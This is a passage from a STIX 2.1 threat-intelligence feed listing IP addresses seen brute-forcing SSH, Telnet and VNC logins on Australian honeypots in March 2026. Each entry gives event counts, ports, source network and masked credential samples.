      "valid_until": "2026-04-09T04:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): v*******t, 3**********4, a******h, c****b, ***. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, V***********!.",
      "id": "indicator--a2ba8a32-06ba-42bb-8d4a-0f7fa3033ad9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): 3**********4, p*****d, u****u, U**r, **. Passwords observed (masked): ***, 1******8, 3***********4, 3**********4, 1******1.",
      "id": "indicator--872b8798-d504-422b-994b-03a0eb8c9d43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--d4c5e383-d792-44f7-af1a-40bee1b7257e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.243.155.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Passwords observed (masked): a***n.",
      "id": "indicator--8ceffadd-7786-48fd-bd92-b21e61a6a9d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.251.233.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 0****0.",
      "id": "indicator--b1f4e9ad-2290-4b20-af9a-cbed60457ca4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.164.4.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Passwords observed (masked): s*****t.",
      "id": "indicator--0b136da5-7b68-4e76-b22e-c6bb277cd491",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.217.109.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 503. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, s*****t, u**r. Passwords observed (masked): a***n, 1**4, p******d, 1***5, a******3.",
      "id": "indicator--f30bc86a-b504-48fb-8863-5f23c7369f52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.172.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): T*************!.",
      "id": "indicator--cd2ccbda-0b43-46b9-ac48-ca805d5a24a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.112.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 9506. Organisation(s): Singtel Fibre Broadband.",
      "id": "indicator--abd04a84-da79-4e86-9728-88c7e271d8dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.7.228.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 0***0.",
      "id": "indicator--e3b02752-95a7-41e0-b922-4e2348b918c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.53.109.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): c****a, 3**********4, d***a, h**e, ***. Passwords observed (masked): 1***5, 3***********4, 3**********4, c*******3, 1****6.",
      "id": "indicator--aac177d3-01b8-47a4-9862-a9a3de6d0131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.55.144.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): r**t, 3**********4, d***n, a****n, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, !**********e, 1******8.",
      "id": "indicator--2c394e53-b72e-4ae9-8e54-c351401726dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.198.215.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 5410. Organisation(s): Bouygues Telecom SA. Usernames observed (masked): r**t, 3**********4, d***n, a****n, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, !**********e, 1******8.",
      "id": "indicator--2b27ccfc-0b4a-43d5-9b5c-2e9070dadfbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.191.43.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): 3**********4, A***n, ***, g*****n, h***g. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1******8.",
      "id": "indicator--a0b6f95b-2396-4812-82ba-e53ed0c9c5db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.189.155.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5900. Source country: MY. ASN(s): 45785. Organisation(s): TechAvenue Malaysia. Passwords observed (masked): 0*****0, p******d.",
      "id": "indicator--d9061915-0a70-4371-a534-68467e72f1c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.1.225.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: JP. ASN(s): 2516. Organisation(s): KDDI CORPORATION. Passwords observed (masked): l*****n.",
      "id": "indicator--61f8dd2a-bd8f-4055-81ee-e9a38abc1f2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.196.200.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 271. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, d***n, a****n, ***. Passwords observed (masked): 3***********4, 3**********4, 1**4, !**********e, 1******8.",
      "id": "indicator--ecace594-d0a5-471f-a66e-5b3653707908",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.79.191.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Passwords observed (masked): 0******0, P******d.",
      "id": "indicator--8d98ca0c-58c1-4194-bfed-72b8a2f82989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.171.202.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u****u, 3**********4, U**r, **, m****n. Passwords observed (masked): ***, 1******8, 1******1, 1****6, 3***********4.",
      "id": "indicator--b15f81bc-3a0f-4710-b172-70c06284a007",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.253.9.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 1****3.",
      "id": "indicator--818e7187-dcb7-4044-9ea6-2c2cdd5e4581",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.155.198.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 209101. Organisation(s): IP Vendetta Inc.. Usernames observed (masked): ***, 3**********4, g*****n, h***g, i**i. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 3***********4.",
      "id": "indicator--466f6a84-6ae2-462e-9524-98f8b887250d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.151.91.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 49505. Organisation(s): JSC Selectel.",
      "id": "indicator--3163ef9b-49aa-46e1-b596-59ece69d1d02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.92.176.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre.",
      "id": "indicator--f8aee8d4-1c7a-4649-8a8a-00828b309a4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.0.71.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--b338b69e-6a76-4db6-b38e-a05f6404a3ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.36.143.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--18f23ae1-4aff-4b0b-9e3d-576a75110e20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp.. Usernames observed (masked): t******r, 3**********4, b*****e, e*****o, k*****a. Passwords observed (masked): 1****6, 1**4, 3***********4, 3**********4, O*****!.",
      "id": "indicator--36799a70-270d-4de4-bf5a-88c9e6335ca4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.88.7.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom. Passwords observed (masked): 0**0.",
      "id": "indicator--bc1e511a-0e89-4881-be99-e224d073fa38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.186.54.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB.",
      "id": "indicator--3f94ca6d-2fc3-4f4c-93ed-534c8a2c10a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.73.145.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: ES. ASN(s): 209581. Organisation(s): Xarxes Esteses de Comunicacions SL.",
      "id": "indicator--b7df1333-822a-4676-aa09-0c7b25ed9811",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.136.176.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:15:13.000Z",
      "valid_until": "2026-04-09T05:15:11.000Z"
    },
    {
      "created": "2026-03-08T06:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--b98cf56d-c319-40b0-8b70-0a1b566e8caa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T06:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.132.180.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T06:15:09.000Z",
      "valid_until": "2026-04-09T06:15:08.000Z"
    },
    {
      "created": "2026-03-08T06:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch.",
      "id": "indicator--9d6a0cae-6059-4430-b29b-30e02f06da56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T06:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.72.121.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T06:15:09.000Z",
      "valid_until": "2026-04-09T06:15:08.000Z"
    },
    {
      "created": "2026-03-08T06:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 8866. Organisation(s): Vivacom Bulgaria EAD.",
      "id": "indicator--aa784ed9-5acc-4e6b-a33f-98d606cf9e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T06:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.91.178.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T06:15:09.000Z",
      "valid_until": "2026-04-09T06:15:08.000Z"
    },
    {
      "created": "2026-03-08T06:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 214664. Organisation(s): JSC Buduschee.",
      "id": "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T06:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.91.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T06:15:09.000Z",
      "valid_until": "2026-04-09T06:15:08.000Z"
    },
    {
      "created": "2026-03-08T06:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 44050. Organisation(s): Petersburg Internet Network ltd..",
      "id": "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T06:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.215.0.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T06:15:09.000Z",
      "valid_until": "2026-04-09T06:15:08.000Z"
    },
    {
      "created": "2026-03-08T07:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, a***l, a***a, c***n. Passwords observed (masked): 1****6, 1******8, 1**********c, 3***********4, 3**********4.",
